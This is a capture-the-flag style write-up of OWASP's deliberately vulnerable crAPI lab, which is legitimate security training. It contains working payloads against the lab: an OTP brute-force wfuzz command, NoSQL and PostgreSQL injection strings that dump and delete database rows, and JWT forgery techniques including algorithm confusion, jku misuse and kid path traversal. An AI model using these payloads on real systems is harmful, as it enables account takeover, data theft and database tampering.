Intro
This post is all about the crAPI which is OWASP’s vulnerable web API application. It has few challenges across all TOP 10 API Vulnerabilities. In total 15 challenges/vulnerabilities and 2 secret ones.
Overview - crAPI
At a high level, the crAPI application is modeled as a B2C application that allows any user to get their car servicing done by a car mechanic. A user can create an account on the WebApp, manage his/her cars, search for car mechanics, submit servicing request for any car, and purchase car accessories from the vendor. The WebApp also has a community section where users can contribute with blog posts and comments.
The crAPI application, by design, does not implement all of its functionalities in the most secure manner. In other words, it deliberately exposes security vulnerabilities that can be exploited by any security enthusiast who is playing with the application. For more details on the vulnerabilities see the challenges.md
Source: https://github.com/OWASP/crAPI/blob/develop/docs/overview.md
The Plan
I’ll start with recon (for completion purposes) and then i’ll document each finding under each vulnerability type.
I’ll be using Kali Linux and following tools:
- Burp Suite Community
- Postman
- ffuf
- wfuzz
- jwt_token
TOC
- Intro
- Recon
- Challenges
- 1. BOLA
- 2. Broken User Authentication
- 3. Excessive Data Exposure
- 4. Rate Limiting
- 5. BFLA
- 6. Mass Assignment
- 7. Injections
- (SSRF) - Challenge 11 - Make crAPI send an HTTP call to “www.google.com” and return the HTTP response.
- (NoSQLi) - Challenge 12 - Find a way to get free coupons without knowing the coupon code.
- (SQLi) - Challenge 13 - Find a way to redeem a coupon that you have already claimed by modifying the database
- (Unauthenticated Access) - Challenge 14 - Find an endpoint that does not perform authentication checks for a user.
- (Vulnerable JWT) - Challenge 15 - Find a way to forge valid JWT Tokens
Recon
First of all, we should be able to get onto login page if our crAPI instance is working as intended:
I’ve named the instance crapi.local
Let’s have a Burp (or other proxy) running and let’s sign up and login.
We can notice in the requests that there are some signs of API that’re being used:
We can see that Sitemap has been populated with those paths as well.
Obviously we cannot say for sure that this is the only endpoint out there.
We can do wordlist directory enumeration with tools like gobuster, wfuzz or FFUF. I like FFUF the most so i’ll run FFUF against the target using swagger-wordlist.txt
from assetnote
The problem at this point is that i see different status codes and cannot sort them out immediately.
It is important to get understanding how APP (or Web Application) work. In the next chapter i’ll run the app and reverse engineer the API.
Setting up Postman to Reverse Engineer an API
This are basic settings:
I’ve also set an additional filter to my url crapi.local
. I’ve also filtered out .css,.map,.js
… Oh and don’t forget to setup browser to the right proxy afterwards.
For emails that are being sent from the app itself, you should be able to read them on port 8025 where
MailHog
is running
We can add requests to collection (if we’ve chosen our requests to History
and not the collection itself)
… This is what we have so far:
We have to decide if this kind of documentation and reversing process is viable for us or not. Considering the size of the API for
crAPI
application, we can sort and document the endpoints by hand.
There is not a single way how to document the API, but we can take existing documentation as a reference. We can take a look at Explore
function in our Postman.
Mitmproxy and Swagger creation
Let’s run all requests again by browsing the app and pipe them through mitmproxy
I’ve ran mitmweb
using -w
option which writes flows into a file and i’ve used another port then default 8090
.
1
mitmweb --listen-port 8090 -w crapi_flow
We should get a list of requests and should look like this:
After we’re done we can save the flows (we can also set filter e.g., /api
) and run mitmproxy2swagger
:
1
mitmproxy2swagger -i flows -o swagger.yaml --examples -f flow -p "http://crapi.local:8888"
We can import swagger file to an editor or into postman directly. There is also online instance running at https://editor.swagger.io
where we can upload YAML and edit it.
If we would just want the list of endpoints, we could just use
mitmproxy2swagger -i flows -o swagger_no_examples.yaml -f flow -p "http://crapi.local:8888"
without--examples
tag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
luka@yokai ~/crapi_vapi cat swagger_no_examples.yaml
openapi: 3.0.0
info:
title: flows Mitmproxy2Swagger
version: 1.0.0
servers:
- url: http://crapi.local:8888
description: The default server
paths: {}
x-path-templates:
# Remove the ignore: prefix to generate an endpoint with its URL
# Lines that are closer to the top take precedence, the matching is greedy
- ignore:/community/api/v2/community/posts
- ignore:/community/api/v2/community/posts/recent
- ignore:/community/api/v2/community/posts/v6HRovghs98ZdmzcBdaY7B
- ignore:/community/api/v2/community/posts/v6HRovghs98ZdmzcBdaY7B/comment
- ignore:/community/api/v2/coupon/validate-coupon
- ignore:/identity/api/auth/login
- ignore:/identity/api/auth/signup
- ignore:/identity/api/v2/user/change-email
- ignore:/identity/api/v2/user/dashboard
- ignore:/identity/api/v2/user/pictures
- ignore:/identity/api/v2/user/reset-password
- ignore:/identity/api/v2/user/verify-email-token
- ignore:/identity/api/v2/user/videos
- ignore:/identity/api/v2/user/videos/{id}
- ignore:/identity/api/v2/user/videos/29
- ignore:/identity/api/v2/user/videos/convert_video
- ignore:/identity/api/v2/vehicle/add_vehicle
- ignore:/identity/api/v2/vehicle/c6acc7f0-14d2-4642-a2ea-2b63967834ff/location
- ignore:/identity/api/v2/vehicle/resend_email
- ignore:/identity/api/v2/vehicle/vehicles
- ignore:/workshop/api/mechanic
- ignore:/workshop/api/mechanic/
- ignore:/workshop/api/merchant/contact_mechanic
- ignore:/workshop/api/shop/orders
- ignore:/workshop/api/shop/orders/{id}
- ignore:/workshop/api/shop/orders/2
- ignore:/workshop/api/shop/orders/all
- ignore:/workshop/api/shop/orders/return_order
- ignore:/workshop/api/shop/products
- ignore:/workshop/api/shop/return_qr_code
I really like to have a list like this in front of me. What do we see almost immediately? E.g., /workshop
does not use /v2/
. This is also a good base to create a wordlist using endpoints above.
If we upload our swagger.json
to the Postman
, we’ll see that it’s very well ordered:
Challenges
1. BOLA
If this was rewal engagement, it would be wise or necesarry to add an additional user which we could attack.
Challenge 1 - Access details of another user’s vehicle
We have to pay attention to where we can read other users data. Most obvious would be any kind of IDs.
One such request is /identity/api/v2/vehicle/c6acc7f0-14d2-4642-a2ea-2b63967834ff/location
.
Although we cannot simply brute-force the UUID, we can find it elsewhere
And we can find cars location if we have knowledge of other cars UUID:
- Vulnerable Endpoint:
/identity/api/v2/vehicle/9882ead6-1c5f-48eb-a0e7-408ffa0dbbf8/location
Challenge 2 - Access mechanic reports of other users
This BOLA vulnerability has been hidden on plain sight, as we first need to send a request for report where link will get generated
- Request sent:
/workshop/api/mechanic/receive_report?mechanic_code=TRAC_JHN&problem_details=repair&vin=9XPLG11UTSQ720977
This is a new endpoint which was unknown until now: /workshop/api/mechanic/mechanic_report`
- Vulnerable Endpoint:
/workshop/api/mechanic/mechanic_report?report_id=8
2. Broken User Authentication
Challenge 3 - Reset the password of a different user
We can reset password for any user (this is not a vulnerability!)
Interestingly, there are 2 versions:
/identity/api/auth/v2/check-otp
(found / guessed)/identity/api/auth/v3/check-otp
(default)
Long story short, v2
is missing rate-limiting, so we can simply brute-force the OTP.
1
wfuzz -z range,0000-9999 -u http://crapi.local:8888/identity/api/auth/v2/check-otp -d '{"email": "victim@cybersec-research.space","otp":"FUZZ","password":"SSSaaasss!!!"}' -H "Content-Type: application/json" --hw 5 -v
- Vulnerable Endpoint:
/identity/api/auth/v2/check-otp
3. Excessive Data Exposure
Challenge 4 - Find an API endpoint that leaks sensitive information of other users
Vulnerable Endpoint:
/community/api/v2/community/posts/recent
/community/api/v2/community/posts/:{id}
/community/api/v2/community/posts/:{id}/comment
At least information that’s marked in the screenshot, did not have to be exposed in the response.
Challenge 5 - Find an API endpoint that leaks an internal property of a video
Vulnerable Endpoint:
/identity/api/v2/user/videos
/identity/api/v2/user/videos/:{id}
4. Rate Limiting
Challenge 6 - Perform a layer 7 DoS using ‘contact mechanic’ feature
5. BFLA
Here we’re searching for basically the same as BOLA, just with a crucial difference - we’re not reading but changing stuff, so we might have to send other HTTP Verbs like PUT, DELETE, POST
.
Challenge 7 - Delete a video of another user
There were no endpoints found using DELETE
HTTP Verb, but i haven’t yet been actively searching for them to.
When trying things around, following endpoint
replies with error
Video with 32
ID belongs to another user. Error message says we should use admin API, and if we do that, we can delete the video.
- Vulnerable Endpoint:
/identity/api/v2/admin/videos/:id
6. Mass Assignment
For Mass Assignment i wanted to try some automation using arjun
, but actually more than that, i wanted to quickly have a list of host+endpoints which i could use for different tools. I’ve exported the collection from Postman and used gron+grep+sed+awk+sort to get a list.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
luka@yokai ~/crapi_vapi gron crapi_flow\ Mitmproxy2Swagger.postman_collection.json | fgrep "originalRequest.url.raw" | awk -F"=" '{print $2}' | sed 's//http:\/\/crapi.local:8888/' | cut -d'"' -f2| sed 's//v1/' | sort -u
http://crapi.local:8888/community/api/v1/community/posts
http://crapi.local:8888/community/api/v1/community/posts/recent
http://crapi.local:8888/community/api/v1/community/posts/v6HRovghs98ZdmzcBdaY7B
http://crapi.local:8888/community/api/v1/community/posts/v6HRovghs98ZdmzcBdaY7B/comment
http://crapi.local:8888/community/api/v1/coupon/validate-coupon
http://crapi.local:8888/identity/api/auth/login
http://crapi.local:8888/identity/api/auth/signup
http://crapi.local:8888/identity/api/v1/user/change-email
http://crapi.local:8888/identity/api/v1/user/dashboard
http://crapi.local:8888/identity/api/v1/user/pictures
http://crapi.local:8888/identity/api/v1/user/reset-password
http://crapi.local:8888/identity/api/v1/user/verify-email-token
http://crapi.local:8888/identity/api/v1/user/videos
http://crapi.local:8888/identity/api/v1/user/videos/:id
http://crapi.local:8888/identity/api/v1/user/videos/:id?video_id
http://crapi.local:8888/identity/api/v1/vehicle/add_vehicle
http://crapi.local:8888/identity/api/v1/vehicle/c6acc7f0-14d2-4642-a2ea-2b63967834ff/location
http://crapi.local:8888/identity/api/v1/vehicle/resend_email
http://crapi.local:8888/identity/api/v1/vehicle/vehicles
http://crapi.local:8888/workshop/api/mechanic/
http://crapi.local:8888/workshop/api/merchant/contact_mechanic
http://crapi.local:8888/workshop/api/shop/orders
http://crapi.local:8888/workshop/api/shop/orders/:id
http://crapi.local:8888/workshop/api/shop/orders/:id?order_id
http://crapi.local:8888/workshop/api/shop/products
I would now just fix the IDs and create a list for v2
and v3
.
1
2
cat hosts_crapi.txt | sed 's/v1/v2/' | anew hosts_crapi.txt
cat hosts_crapi.txt | sed 's/v1/v3/' | anew hosts_crapi.txt
Challenge 8 - Get an item for free
We can set status to returned
by using PUT method
.
Funds will be returned.
Vulnerable Endpoint: /workshop/api/shop/orders/:id
(PUT)
Challenge 9 - Increase your balance by $1,000 or more
We can use negative numbers to increase our balance.
We can also create new product with negative numbers that will increase funds on our balance.
Vulnerable Endpoint:
/workshop/api/shop/orders
(POST)/workshop/api/shop/products
(POST)
Challenge 10 - Update internal video properties
In the following Mass Assignment vulnerability it is possible to change parameter which isn’t included in the default request.
Vulnerable Endpoint: /identity/api/v2/user/videos/:id
(PUT)
7. Injections
(SSRF) - Challenge 11 - Make crAPI send an HTTP call to “www.google.com” and return the HTTP response.
SSRF happens where we can enter another URL which will be visited from the server side.
… and i can see corresponding request on webhook.site
.
We can also see authorization header leak, as well as all parameters.
Vulnerable Endpoint: /workshop/api/merchant/contact_mechanic
(POST - mechanic_api
)25
(NoSQLi) - Challenge 12 - Find a way to get free coupons without knowing the coupon code.
After running NOSQLi Payloads through collection runner which was set like this:
Only potential vulnerable requests were chosen. Injection that caught my attention was "coupon":{"gt":""}
.
I’ve sent the request to Burp and this is the wordlist that i’ve used.
1
2
3
4
5
6
7
8
9
10
11
12
"coupon_code[$ne]":1
"coupon_code[$regex]":"^adm"
"coupon_code[$regex]":".{25}"
"coupon_code[$eq]":"admin"
"coupon_code[$ne]":"admin"
"coupon_code[$nin][admin]":"admin"
"coupon_code[$regex]":".*"
"coupon_code[$exists]":true
"coupon_code": {"$ne": null}
"coupon_code": {"$ne": "foo"}
"coupon_code": {"$gt": undefined}
"coupon_code": {"$gt":""}
We can see that we get coupon in response:
We can even get a better one:
Vulnerable Endpoint: /community/api/v2/coupon/validate-coupon
(POST - “coupon_code”)
(SQLi) - Challenge 13 - Find a way to redeem a coupon that you have already claimed by modifying the database
We’ve found some coupons in previous challenge.
We’ve redeemed those and now we cannot redeem same token anymore? Not a problem. Endpoint is vulnerable to SQL Injection.
From here, i’ll just post body from each request
Getting Databases
1
2
3
{"coupon_code":"blind' UNION ALL select string_agg(datname,',') FROM pg_database OFFSET 0--","amount":125}
{"message":"postgres,crapi,template1,template0 Coupon code is already claimed by you!! Please try with another coupon code"}
Getting Tables (all)
1
2
3
{"coupon_code":"blind' UNION ALL SELECT string_agg(table_name,',') FROM information_schema.tables --","amount":125}
{"message":"otp_token,profile_video,user_details,vehicle_model,vehicle_details,vehicle_location,vehicle_company,pg_statistic,pg_type,user_login,otp,django_migrations,pg_foreign_table,pg_authid,pg_shadow,pg_statistic_ext_data,pg_roles,mechanic,service_request,pg_settings,pg_file_settings,pg_hba_file_rules,product,order,applied_coupon,pg_config,pg_shmem_allocations,pg_backend_memory_contexts,pg_available_extension_versions,health_check_db_testmodel,pg_user_mapping,pg_stat_xact_user_functions,pg_replication_origin_status,pg_subscription,pg_attribute,pg_proc,pg_class,pg_attrdef,pg_constraint,pg_inherits,pg_index,pg_operator,pg_opfamily,pg_opclass,pg_am,pg_amop,pg_amproc,pg_language,pg_stat_archiver,pg_stat_bgwriter,pg_stat_wal,pg_stat_progress_analyze,pg_stat_progress_vacuum,pg_stat_progress_cluster,pg_stat_progress_create_index,pg_stat_progress_basebackup,pg_stat_progress_copy,pg_largeobject_metadata,...SNIP...applicable_roles,administrable_role_authorizations,check_constraint_routine_usage,character_sets,check_constraints,collations,collation_character_set_applicability,column_column_usage,column_domain_usage,routines,column_privileges,role_column_grants,column_udt_usage,columns,constraint_column_usage,routine_column_usage,...SNIP...,views,triggers,udt_privileges,foreign_data_wrappers,role_udt_grants,data_type_privileges,usage_privileges,role_usage_grants,user_defined_types,element_types,view_column_usage,view_routine_usage,_pg_foreign_servers,_pg_foreign_table_columns,column_options,_pg_foreign_data_wrappers,foreign_table_options,foreign_data_wrapper_options,foreign_server_options,foreign_servers,_pg_foreign_tables,user_mapping_options,foreign_tables,_pg_user_mappings Coupon code is already claimed by you!! Please try with another coupon code"}
Getting columns from user_details
1
2
3
{"coupon_code":"blind' UNION ALL SELECT string_agg(column_name,',') FROM information_schema.columns WHERE table_name='user_details' --","amount":125}
{"message":"id,available_credit,picture,user_id,name,status Coupon code is already claimed by you!! Please try with another coupon code"}
Finding applied coupons columns
1
2
3
{"coupon_code":"blind' UNION ALL SELECT string_agg(column_name,',') FROM information_schema.columns WHERE table_name='applied_coupon' --","amount":125}
{"message":"id,user_id,coupon_code Coupon code is already claimed by you!! Please try with another coupon code"}
Dumping applied coupon table
1
{"coupon_code":"blind' UNION ALL SELECT string_agg(concat(id||','||user_id||','||coupon_code),';') FROM applied_coupon --","amount":125}
Changing Values in the row UPDATE/DELETE
Now either modfy (UPDATE) the row or delete it.
1
UPDATE applied_coupon SET coupon_code='' WHERE user_id=8
DELETE the row with our user_id=8
1
{"coupon_code":"blind';DELETE FROM applied_coupon WHERE user_id=8 --","amount":125}
We’ll get Server Error but PSQL Query has been executed and we can apply our coupon again.
Output from SQLMAP:
(Unauthenticated Access) - Challenge 14 - Find an endpoint that does not perform authentication checks for a user.
Running Collection in Postman without token has returned no 401/403 errors on following Endpoint:
http://crapi.local:8888/workshop/api/mechanic/mechanic_report?report_id=1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
luka@yokai ~/crapi_vapi curl http://crapi.local:8888/workshop/api/mechanic/mechanic_report\?report_id\=15 -s | jq
{
"id": 15,
"mechanic": {
"id": 1,
"mechanic_code": "TRAC_JHN",
"user": {
"email": "jhon@example.com",
"number": ""
}
},
"vehicle": {
"id": 28,
"vin": "9XPLG11UTSQ720977",
"owner": {
"email": "luka@cybersec-research.space",
"number": "123123123"
}
},
"problem_details": "repair",
"status": "Pending",
"created_on": "21 January, 2023, 07:36:27"
}
(Vulnerable JWT) - Challenge 15 - Find a way to forge valid JWT Tokens
I highly suggest checking out Portswigger’s Web Academy
Algorithm Confusion
Public Key has been found on .well-known/jwks.json
. This will be used in Algorithm Confusion attack.
I will be using Burp’s JWT Editor
extension which is also available for Community Edition.
Now let’s copy the key JWT Editor and create new RSA
key.
Save the key and copy it’s public key in PEM format and BASE64 encode it.
Now create New Symmetric Key
and copy the BASE64 encoded PEM public key into k
value.
We should now be able to sign JWT tokens. (Sign as HS256! not RS256)
Change alg
to HS256
and when signing Don't modify header.
We can basically take over any account.
Invalid Signature Vulnerability
What we’ve done above is great but reality is that Signature isn’t really being verified, meaning we can take over any account and don’t even need to re-sign the JWT token. This can be tested simply by changing values like sub
and JWT token will work.
JKU Misuse Vulnerability
The server supports the jku parameter in the JWT header. However, it fails to check whether the provided URL belongs to a trusted domain before fetching the key.
For this attack, we’ll create a New RSA Token
in JWT Editor
and save it.
We’ll copy public key in PEM format
… and paste the key on our web server in following format:
1
2
3
4
5
{
"keys:[
KEY COMES HERE
]
}
Start the webserver (if not already running).
Using JWT Editor
we can modify jku
, kid
and (if we want to) the sub
values.
When we sign and send a request, we should see traffic on our web server.
Response should be successful.
KID Path Traversal Vulnerability
In order to verify the signature, the server uses the kid parameter in JWT header to fetch the relevant key from its filesystem.
For this attack we’ll need Symmetric Key
ready from JWT Editor
.
Exchange the k
value with AA==
(this is not necesarry for an attack, but it’s just workaround for Burp)
We will have to add/change the values accordingly where kid
is going to point to traversed ../../../../../../../../dev/null
and we’ll use our Symmetric Key
to sign the JWT token.